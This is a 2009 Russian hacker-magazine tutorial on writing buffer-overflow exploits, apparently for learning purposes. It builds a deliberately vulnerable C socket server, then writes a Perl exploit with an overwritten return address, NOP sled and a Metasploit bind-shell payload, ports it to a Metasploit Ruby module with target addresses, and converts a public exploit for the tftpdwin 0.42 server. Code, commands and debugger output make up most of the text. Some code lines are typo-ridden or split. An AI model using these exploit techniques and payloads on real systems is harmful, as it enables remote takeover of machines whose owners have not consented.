Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #131, НОЯБРЬ 2009 г.

Фабрика сплоитов. Учимся писать эксплоиты для METASPLOIT FRAMEWORK

Откуда берутся сплоиты? Задумывался ли ты, каким образом тусклая новость из багтрака превращается в реально работающую отмычку? каким образом двумя десяткам строчек кода удается получить шелл на удаленном сервере? Сегодня мы посетим фабрику сплоитов и во всех подробностях посмотрим, как изготавливается качественное изделие.

Сплоит — что же это за зверь такой диковинный? По сути, это программа, написанная с целью использования уязвимости — в ОС, обычной программе или веб-приложении.

Он может представлять из себя что угодно — программку на С/С++ (Delphi, Asm), скриптик на Perl или PHP, или даже находиться внутри картинки, но главное, что он влияет на уязвимую систему и заставляет ее работать так, как она не запрограммирована. Удаленный эксплоит работает через сеть и использует уязвимость без какого-либо предварительного доступа к уязвимой системе. Локальные же сплоиты запускаются непосредственно в уязвимой системе, требуя предварительного доступа к ней и обычно используются для повышения привилегий. Сплоиты можно разделить по типу используемой уязвимости: переполнение буфера, SQL-инъекция, межсайтовый скриптинг и т.д.

Короче говоря, разновидностей бывает много и каждая из них отличается как техникой исполнения, так и своей целью. Но есть в них одно общее — все они содержат код, выполняющий задуманные хакером действия. Этот код называют: байт-код, шелл-код (так как очень часто он предоставляет доступ к шеллу на удаленной системе), полезной (боевой) нагрузкой (payload). Написание такого кода — целое искусство. Если хочешь разобраться в этой области, советую начать со статьи Step'а «Откуда берутся шелл-коды» (PDF прилагается на диске). Мы же рассмотрим процесс написания эксплоита, а шелл-код возьмем уже готовый из пакета Metasploit.

Пишем жертву для экспериментов

Убежден, что нет более наглядного способа продемонстрировать создание боевого кода, чем на конкретном примере. Поэтому начнем с игры в горе-программистов и наваяем небольшое серверное приложение, оставив в нем критическую уязвимость, которую и будем эксплуатировать. Приложение будет принимать подключения на определенном порту: как только придет некоторый пакет, будет вызываться функция, выполняющая некоторые действия с полученными данными, после чего приложение завершается. Скелет приложения приведен ниже, а полный исходник ты найдешь на диске:

void pr( char *str)
{
char buf[500]="";
strcpy(buf,str); // вот и сама уязвимость, собственной персоной
}
int main(int argc, char **argv)
{
...
int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
{
//Получаем данные, отправленные клиентом
bytesRecv = recv( clientSocket,
Message, 5000, 0 );
if ( bytesRecv == 0 ||
bytesRecv == WSAECONNRESET )
{
printf( "\nConnection Closed.\n");
break;
}
}
pr(Message); // вызываем функцию, которая не проверяет длину входного буфера при копировании
closesocket(clientSocket);
closesocket(serverSocket);
WSACleanup();
return 0;
}

Внимательно взглянув на код, можно увидеть, что функция void pr(char *str) не проверяет длину входного буфера и, если передать ей в качестве параметра строку длиной более 500 символов — получится классическое переполнение буфера. Совсем кратко о том, как это работает (тут придется вспомнить, как работает стек):

PUSH EDI // кладем в стек указатель на буфер, который будем копировать (*str)
CALL Server._pr // вызываем функцию pf

После вызова CALL стек будет выглядеть следующим образом:

...
buf — локальная переменная, куда будем копировать входящие данные
ebp — сохраненный указатель кадра стека
ret — адрес возврата
*str — указатель на входящий буфер
...

Под переменную buf у нас выделено 500 байт. А что будет, если скопировать туда строку длиннее?

[buf][EBP][ret][*str]
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]

Как видишь, такая строка затрет EBP, адрес возврата и все, что расположено ниже по стеку. Т.е. можно перезаписать адрес возврата нужным нам значением и тогда при выходе из функции мы можем вернуться, куда захотим, например, на наш шелл-код. Тут, правда, стоит сделать поправку — уязвимости может и не быть. В смысле, от такой критической ошибки, конечно, никуда не деться, и программа в любом случае будет падать, однако использовать переполнение в сплоите может не получиться. Виной тому — стековые куки — специальная защита, включаемая в бинарник компилятором во время сборки приложения. Существует несколько способов обхода такой защиты (подробнее — во врезке), но сейчас для простоты примера представим, что стековые кукисы отключены. Поэтому либо отключаем поддержку кукисов во время компиляции в Visual Studio, либо используем компилятор, который вообще не умеет встраивать подобную защиту. Второй вариант, как мне кажется, проще — потому как можно использовать бесплатный компилятор lccwin32 (www.cs.virginia.edu/~lccwin32). Итак, компилируем и запускаем.

Убить наповал!

Сервер работает ровно до тех пор, пока ему не придет строка, состоящая более чем из 500 символов. В противном случае —
непременно вылет приложения. Набросаем небольшой скриптик на Perl'е для эксплуатации переполнения буфера:

use strict;
use Socket;
my $junk = "\x41" x1000;
# адрес и порт узявимого демона
my $host = shift || 'localhost';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
# осуществляем привязки
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";
# создаем сокет и присоединяемся к порту
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
print SOCKET $junk."\n";
print "[+] Payload sent\n";
close SOCKET or die "close: $!";

Скрипт просто соединяется с сервером и посылает ему строку символов «А» длиной 1000 ($junk = "\x41" x1000). Чтобы наглядно посмотреть, что в момент получения такой строки происходит внутри нашего сервера, запускаем его под отладчиком — идеально, под OllyDbg (www.ollydbg.de). Выбираем наш бинарник через меню «File ET Open» и отдаем команду на выполнение: «Debug t: Restart nt Run». Далее запускаем простенький сплоит, который, как и следовало ожидать, убивает наш сервер наповал. Смотрим в отладчик — адрес возврата из функции pf (и, как следствие, регистр EIP, указывающий на следующую инструкцию) оказывается перезаписанным значением 41414141 (как ты помнишь, 0х41 — это символ А).

Но на момент, когда мы будем глядеть в отладчик, уже произойдет возврат по адресу 41414141, и мы будем видеть только EIP. Для успешной эксплуатации уязвимости нужно построить ядовитую строку так, чтобы она переписывала адрес возврата нужным нам значением — адресом нашего шелл-кода. Поэтому сначала необходимо выяснить, какие именно символы строки затирают адрес возврата. В этом поможет одна из утилит Metasploit Framework. Но перед этим предлагаю тебе быстренько ознакомиться с фреймворком.

Используем METASPLOIT для разработки эксплоита

Символов в передаваемой строке 1000, все они одинаковые, поэтому неудивительно, что в строке возврата появляется значение, состоящее из буквы A. Но если составить строку, которая будет состоять из неповторяющихся буквенно-числовых строк, то легко определить позицию тех символов, которые попадают в адрес возврата. Генерацией такой строки как раз и занимается утилита, входящая в состав Metasploit, pattern_gererate. В качестве единственного обязательного параметра передается длина строки. Итак, создадим буфер длиной в 1000 символов для дальнейшего использования в нашем сплоите:

msf > ruby pattern_create.rb 1000
Aa0Aa1Aa2Aa3 [967 символов вырезано злым редактором] Bh0Bh1Bh2Bh

А в скрипте заменим значение переменной $junk на вышеприведенную последовательность. Заново запускаем наш уязвимый сервер, подключаемся к нему в OllyDbg и запускаем эксплоит. Сервер опять падает. Что ж, давай взглянем, что на этот раз оказалось в регистре EIP? EIP = 41387141.

Чтобы определить смещение символов в строке, используем другую утилиту из набора Metasploit — pattern_offset, передавая в параметрах искомую величину и длину буфера:

my $totalbuffer = 1000;
# длина буфера
my $junk = "\x41" x 504;
# первые 504 символа "А"
my $eipoverwrite = "\x42" x 4;
# 4 символа "В", которые перезапишут адрес возврата
my $junk2 = "\x43" x ($totalbufferlength($
junk.$eipoverwrite));
# оставшееся место в буфере заполняем символами "С"

И заменяем строчку кода, отправляющую сформированную строку в сокет, на:

print SOCKET $junk.$eipoverwrite.$junk2."\ n";

Чтобы проверить, запускаем эксплоит и смотрим в отладчик. Ага, так и есть: EIP = 42424242. Увы, тысячи символов слишком мало, чтобы уместить шелл-код, поэтому попробуем увеличить длину ядовитой строки и посмотреть, как будет работать сплоит. Длину выбираем экспериментально: методом проб и ошибок. После увеличения длины с 1000 до 2000 (my $totalbuffer = 2000) убеждаемся, что сплоит по-прежнему работает так же успешно. А это значит, мы имеем 2000-4-504=1492 байта для размещения нашего шелл-кода. Все это прекрасно, но как передать управление шелл-коду — ведь его адреса мы не знаем!

Давай посмотрим, что у нас происходит со стеком в момент переполнения. Поставим в отладчике бряк на функцию strcpy. bpx strcpy не работает — значит, поставим бряк вручную. Как видно из исходников, вызов strcpy происходит в функции pf, которая вызывается непосредственно после цикла while() в main. В цикле у нас происходит вызов recv: попробуем поставить бряк на него с помощью команды bpx recv. Ага, сработало! Теперь смотрим чуть ниже цикла и видим вызов call server._pf. Становимся на этой инструкции, нажимаем <Enter> и попадаем в функцию pf. В ней есть всего один call — вызов strcpy. Он-то нам и нужен: переходим на него и нажимаем <F2> для установки брэйкпоинта.

0040130B: CALL 00404351

Далее запускаем эксплоит. Бряк сработал, — смотрим, что в стеке (в olly стек показывается в правом нижнем углу и имеет формат «адрес — значение — комменарий; типа return to kernel32.728232»):

[buf][ebp][ret][предыдущий стековый фрейм]
Нажимаем <F8> (перейти на следующую инструкцию) и
отмечаем изменения в стеке:
[buf][ebp][ret][пред. стековый фрейм]
[AAAAAAAA][BBB][CCCCCCCC…]
Теперь взглянем на конец функции pf:
00401313 POP EDI
00401314 POP ESI
00401315 LEAVE
00401316 RETN

При вызове команды LEAVE происходит следующее: MOV ESP, EBP //теперь в ESP содержится адрес [ebp] POP EBP // в EBP заносится значение из [ebp] (эта область у нас перезаписана символами «А», следовательно, EBP будет равен 41414141), ESP теперь указывает на адрес возврата.

При выполнении команды RETN из стека выталкивается адрес возврата — поэтому получается, что ESP указывает на начало стекового фрейма, то есть на $junk2, где мы и будем размещать наш шелл-код. А как перейти по адресу, лежащему в esp? Хороший вопрос! Переход к ESP — вполне обычное действие для виндовых приложений. Более того, любое такое приложение использует, как минимум, одну системную DLL’ку, в которых есть инструкции на любой вкус. Адреса в таких DLL'ках, как правило, статичны и не изменяются!
Получается, если найти инструкцию перехода на ESP (а это либо jmp esp, либо push esp + ret, либо call esp), взять ее адрес и заменить им адрес возврата, то на выходе из функции управление передастся на ESP — прямиком нашему шелл-коду.

Есть один момент, который стоит упомянуть! Адрес возврата не должен содержать нулевых байтов, ведь функция strcpy воспримет все как признак конца строки и не скопирует оставшуюся часть буфера, то есть $junk2, куда мы хотели разместить шелл-код. Поэтому мы будем искать инструкцию перехода по esp в динамических библиотеках, используемых приложением, так как адрес такой инструкции в библиотеках будет выше, и не будет занимать все четыре байта — исключая возможность появления нуля в начале.

Осуществлять поиск будем с помощью полезной утилиты findjmp, входящей в состав пакета тулз MSF eXploit Builder (www.securinfos.info/metasploit/MSF_XB.php) — он нам понадобится и позже. Прога ищет адрес команды call, jmp, push + регистр и ret в dll или приложении. Наша программа работает с сокетами, и значит, она будет использовать стандартную виндовую библиотеку ws2_32.dll. Посмотрим, есть ли там интересующий нас опкод (то есть машинные инструкции, соответствующие передаче управления на ESP). Запускаем с указанием, во-первых, библиотеки для поиска, и, во-вторых, нужного регистра:

Findjmp2.exe ws2_32.dll esp
Scanning ws2_32.dll for code
useable with the esp register
0x71AB9372 push esp — ret
Finished Scanning ws2_32.dll for
code useable with the esp register
Found 1 usable addresses

Найден один подходящий нам адрес — 0x71AB9372. Кстати, если вдруг нужного опкода в другой ситуации не найдется — не беда, можно поискать в kernel32.dll, которая используется всеми приложениями. Аналогичный поиск по этой библиотеке дает еще два подходящих адреса. В действительности, это не самый удачный вариант и искать опкоды в системных библиотеках стоит в самом последнем случае.
Дело в том, что библиотеки различаются от системе к системе и даже от версии сервиспака, установленного в винде. Адрес 0x71AB9372 действителен только для английской Windows XP SP2 — для другой системы он будет другой!

Именно поэтому подходящие опкоды стоит искать в DLL'ках, которые устанавливает в систему сама программа — только в этом случае есть шанс написать независящий от версии Widnows сплоит. В нашем случае, увы, такой вариант невозможен в виду простоты примера, но свои динамические библиотеки для реального виндового приложения — это в большинстве случаев норма. Осталось только создать шелл-код. Как я уже говорил, к сплоиту предъявляется одно важное требование — он не должен содержать нулевых байтов.

В программе копируется строка, и если встретится «0», он будет воспринят как конец строки. Соответственно, оставшаяся часть строки не скопируется, а неполный шелл-код, естественно, не будет работать. В создании шелл-кода нам опять поможет Metasploit и консольный интерфейс для управления фреймворком. Итак, запускаем консоль tools/msfconsole и вводим следующее:

msf > use windows/shell_bind_tcp
// будем использовать этот payload
msf payload(shell_bind_tcp) > set
LPORT 5555 // устанавливаем значение
порта на удаленной машине
LPORT => 5555

С помощью команды «generate -h» посмотрим опции, которые можно указать для генерации шелл-кода:

•b <opt> — список символов, которые следует исключить из шелл-кода;
•f <opt> — имя файла, куда сохраняется шелл-код;
•t <opt> — тип шелл-кода: ruby, perl, c или raw.

Указываем, что надо избегать байтов '\x00\xff', генерировать код для Perl'a и сохранить полученные результаты в c:\\shellcode.bin:

msf payload(shell_bind_tcp) >
generate -b '\x00\xff' -f c:\\
shellcode.bin -t perl
[*] Writing 1747 bytes to c:\
shellcode.bin...

Вот теперь, имея на руках шелл-код, настало время собрать полноценный эксплоит. Единственное — нужно помнить несколько моментов:

• в шелл-коде не должны встречаться 0xff и 0x00 байты, но мы об этом уже позаботились;
• непосредственно перед шелл-кодом нужно поместить цепочки из NOP (машинная команда — нет операции) — на случай, если мы чутьчуть накосячили с адресом возврата.

Отправляемая серверу строка будем формироваться следующим образом:

my $junk = "\x90" x 504; // первые 504 NOP’a
#jmp esp (from ws2_32.dll)
my $eipoverwrite = pack('V',0x71AB9372); // перезаписываем адрес возврата значением 0x71AB9372
#add some NOP's
my $shellcode="\x90" x 50; // добавляем
50 nop-ов перед шелл-кодом
// прибавляем сгенерированный нами шелл-код (windows/shell_bind_tcp)
$shellcode=$shellcode."\xbb\x2e\ [и тут тоже кушал редактор ] xd3";

Окончательная строка, отправляемая в сокет:

// и отправляем ядовитую строку серверу
print SOCKET $junk.$eipoverwrite.$s
hellcode."\n";

После чего пытаемся в сплоите установить соединение с удаленной машиной на 5555 порту, который мы указали при генерации шелл-кода:

system("telnet $host 5555");

Запускаем эксплоит и… о чудо, он работает!

Протестировав эксплоит на различных ОС (Windows XP SP3), можно увидеть, что значение смещения не меняется — меняется только наш адрес возврата.

Эксплоит для METASPLOIT

Итак, у нас есть сплоит для конкретной платформы с вполне определенной нагрузкой, открывающей в системе шелл. Так зачем нужна вообще какая-либо специальная платформа для создания сплоита, если мы вполне обошлись силами одного лишь Perl'а?

Причина в том, что Metasploit предоставляет огромное количество заготовок, реализаций различных протоколов, одну из самых больших баз шелл-кодов, payload-ов, которые можно использовать при написании собственного эксплоита. Вместо убогого скрипта на Perl'е можно написать модуль для Metasploit, после чего запускать его на любой платформе и выбирать payload на свой вкус! Чуешь разницу? Предлагаю прямо сейчас усовершенствовать наш сплоит, переписав его для Metasploit, и посмотреть, как это работает. Само собой, он будет обладать возможностью выбора платформы для атаки, а выбирать пейлоад ты сможешь прямо во время ее исполнения. Любой эксплоит для Metasploit имеет фиксированную структуру, которая состоит из объявления заголовочных файлов, подключения ядра msf/core, определения класса эксплоита, в котором описывается его функциональность.

Я не буду приводить здесь полный исходник модуля, но выкладываю на диске. Рекомендую для большей ясности открыть его прямо сейчас и далее читать мое практически построчное объяснение кода. Первое, с чего начинается любой сплоит, — это подключение ядра Metasploit Framework: require 'msf/core' Функциональность любого сплоита описывается с помощью класса, где настройки задаются с помощью параметров, а функциональность — с помощью методов. Создаваемый объект наследуется от одного из предопределенных классов. Поскольку мы создаем удаленный сплоит, то и наследуем наш объект от родительского класса «Удаленный эксплоит».

В синтаксисе Ruby это делается так:

class Metasploit3 <
Msf::Exploit::Remote.

Большая заслуга Metasploit в том, что он унифицирует большое количество параметров и действий, позволяя использовать готовые конструкции вновь и вновь. Первый элемент разрабатываемого класса — секция include, где мы подключаем обработчик для нужного нам протокола. В Metasploit есть обработчики для http, ftp и других протоколов, что позволяет быстрее писать эксплоиты, не заморачиваясь с их собственной реализацией. Наш эксплоит использует TCP-подключение, поэтому код будет выглядеть следующим образом:

include Msf::Exploit::Remote::Tcp

Далее весь сплоит делится на два метода:

метод инициализации, в котором мы указываем информацию, необходимую для успешного выполнения эксплоита, и метод эксплуатации, в котором мы отправляем на сервер ядовитую строку. Начнем с инициализации. Параметр Payload задает длину ядовитого буфера и недопустимые символы (в нашем случае — 0х00 и 0xff):

'Payload' =>
{
'Space' => 1400,
'BadChars' => "\x00\xff",
}

Далее определяем цели эксплоита и специфичные для каждой цели параметры, такие как адрес возврата, смещение и т.д.:

'Platform' => 'win',
'Targets' =>
[
['Windows XP SP2 En',
{ 'Ret' => 0x0x71ab9372,
'Offset' => 504 } ],
['Windows 2003 Server R2 SP2',
{ 'Ret' => 0x71c02b67,
'Offset' => 504 } ],
...
]

Обрати внимание, мы не определяем сам шелл-код — то есть, нагрузку, которую выполнит сплоит. Действие на удаленной машине будет выбираться интерактивно во время работы в консоли Metasploit'ом. Сейчас нам остается только написать самое главное — метод для эксплуатации уязвимости.

С помощью команды connect устанавливаем TCP-соединение (обработчик протокола мы подключили выше и даже указали порт, помнишь?), далее — определяем ядовитую строку и передаем ее в сокет, после чего разрываем соединение. Ядовитый буфер состоит из цепочки NOP-команд, величины Offset — затем к ней прибавляется адрес возврата, еще небольшая NOP-цепочка и зашифрованный PAYLOAD. Все вместе выглядит так:

def exploit
connect
junk = make_nops(target['Offset'])
sploit = junk + [target.ret].
pack('V') + make_nops(50) +
payload.encoded
sock.put(sploit)
handler
disconnect
end

Вот и все, наш первый модуль для Metasploit готов! Чтобы его можно было использовать, скопируем исходник в папку modules/exploits/test (если не нравится test — можешь скопировать в windows/misc, например). Запускаем msfconsole и работаем в интерактивной консоли Metasploit'а!

Экслоит за 5 минут

Как видишь, разработать эксплоит для Metasplot не так сложно. Скорее даже наоборот, ведь большая часть работы уже сделана за тебя. Взять хотя бы огромную базу шелл-кодов — попробуй разработать свой. Но лени человеческой нет предела, поэтому в стремлении еще больше упростить процесс был разработан пакет утилит MSF eXploit Builder. Программа имеет удобный графический интерфейс и поможет по-настоящему быстро создавать новый модуль для Metasploit. Кроме удобного GUI, eXploit Builder включает в себя целую кучу полезных тулз, необходимых для отладки и тестирования эксплоитов. Более того — можно опять же не создавать с нуля, а портировать уже существующие сплоиты.

Предлагаю взять какой-нибудь эксплоит и с помощью MSF eXploit Builder превратить его в Metasploit-модуль. Ты спросишь, зачем это нам надо? Превратив его в Metasploit-модуль, мы можем использовать его вместе с различными payload-ами. Проще говоря, это сделает эксплоит более универсальным и кроссплатформенным. Сейчас ты сам убедишься, насколько эта программа может упростить жизнь — ведь теперь для написания и отладки эксплоита не нужно даже знание Ruby и Metasploit API. В качестве кролика для эксперимента я выбрал первое, что попалось, — сплоит для tftpdwin 0.42 (milw0rm.com/exploits/7452).

Запускаем MSF eXploit Builder, заходим в меню «Editor» и выбираем «New». Появляется окно с несколькими вкладками (Information, Badchars, Analysis, Shellcode, Design). Переходим на вкладку «Information» и видим много интересных полей. Как ты помнишь, в этой секции указываются цели (OS + SP) и тип/протокол эксплоита (например, remote/tcp). Более того, программа предоставляет нам возможность тестирования и отладки полученного эксплоита, поэтому тут же можно выбрать исполняемый файл и указать параметры для его запуска (порт, ip-адрес).

Итак, выбираем наш tftpd.exe, после чего утилита предложит следующие действия на выбор: запустить приложение, запустить его под отладчиком или не запускать вообще — просто запустим приложение. Обрати внимание, что справа сбоку отобразится список загруженных приложением DDL'ек. Теперь начинаем смотреть код сплоита — на наше счастье он предельно понятный. Комментарий «Restricted chars = 0x00 0x6e 0x65 0x74» явно указывает на запрещенные символы — что ж, выставим их в нашей программе. Для этого переходим на вкладку Badchars и в одноименном поле вводим: \x00\ x6e\x65\x74. Далее по коду мы видим, как формируется ядовитый пакет:

my $packet = (($p1).($nopsled).($shellcode).(($overflow)).($ret).($p2));

Разбираемся с каждой составляющей и заодно составляем буфер для отправки во вкладке «Design». Сначала идет переменная $p1 (my $p1=«\x00\x01»;). Вводим их в поле Value (Operation по умолчанию оставляем RAW). За ней идет переменная $nopsled (my $nopsled = «\x90» x 10;) — выбираем Operation = NOP и устанавливаем длину в 10. Далее располагается $shellcode — устанавливаем Operation = PAYLOAD и Length = 0. Следующая часть — $overflow (my $overflow = “\x41” x $len; строка из символов «А» длиной в $len). Переменная my $len = (274 — length($shellcode)), то есть строка длиной 274 символа минус длина шеллкода. Выставляем Operation = RAW, Length = 274 и выбираем (нажимаем поочередно) вверху кнопки RAW could be: rand_text_alpha, -payload. encoded.length, что означает: длина строки будет высчитываться по вышеприведенной формуле. Потом добавляем адрес возврата $ret (my $ret = “\x5d\x10\x40”) и выбираем Operation = RET. Наконец, добавляем $p2, равное «\x00\x6e\ x65\x74\x61\x73\x63\x69\x69\x00», и выбираем Operation = RAW.

Ядовитый пакет готов. Собственно, теперь у нас есть все для создания готового сплоита. Поэтому нажимаем на кнопку «Generate» и любуемся кодом получившегося сплоита. Если какие-то моменты вызывают сомнения, тут же можно отредактировать код вручную. Классно, что возможно сразу проверить работоспособность кода — для этого смело жмем кнопку «Test». И ведь — все работает! За 5 минут, которые ушли на ознакомление с программой, и без всякого знания, как языка Ruby, так и структуры Metasploit, мы создали полностью рабочий сплоит. Это дорогого стоит! В качестве домашнего задания попробуй с помощью MSF eXploit Builder создать эксплоит для нашего сервера :).

Заключение

Вот и закончилась наша экскурсия по фабрике эксплоитов. Знать, как устроены сплоиты, полезно во многих отношениях. Не умея прочитать шелл-код в свежем эксплоите или, вообще, запуская непонятный exe'шник, далеко не всегда можно доверять его создателю. Многие сплоиты выпускаются в паблик с отсутствующими частями и специально оставленными ошибками — это непременно остановит армию скрипткидис, но для понимающего человека едва ли станет серьезной задачей. Надеюсь, я сегодня убедил тебя, что ничего нереального в сплоитах нет: ведь хакеры люди — логичные и понятные :).

Info

Содержание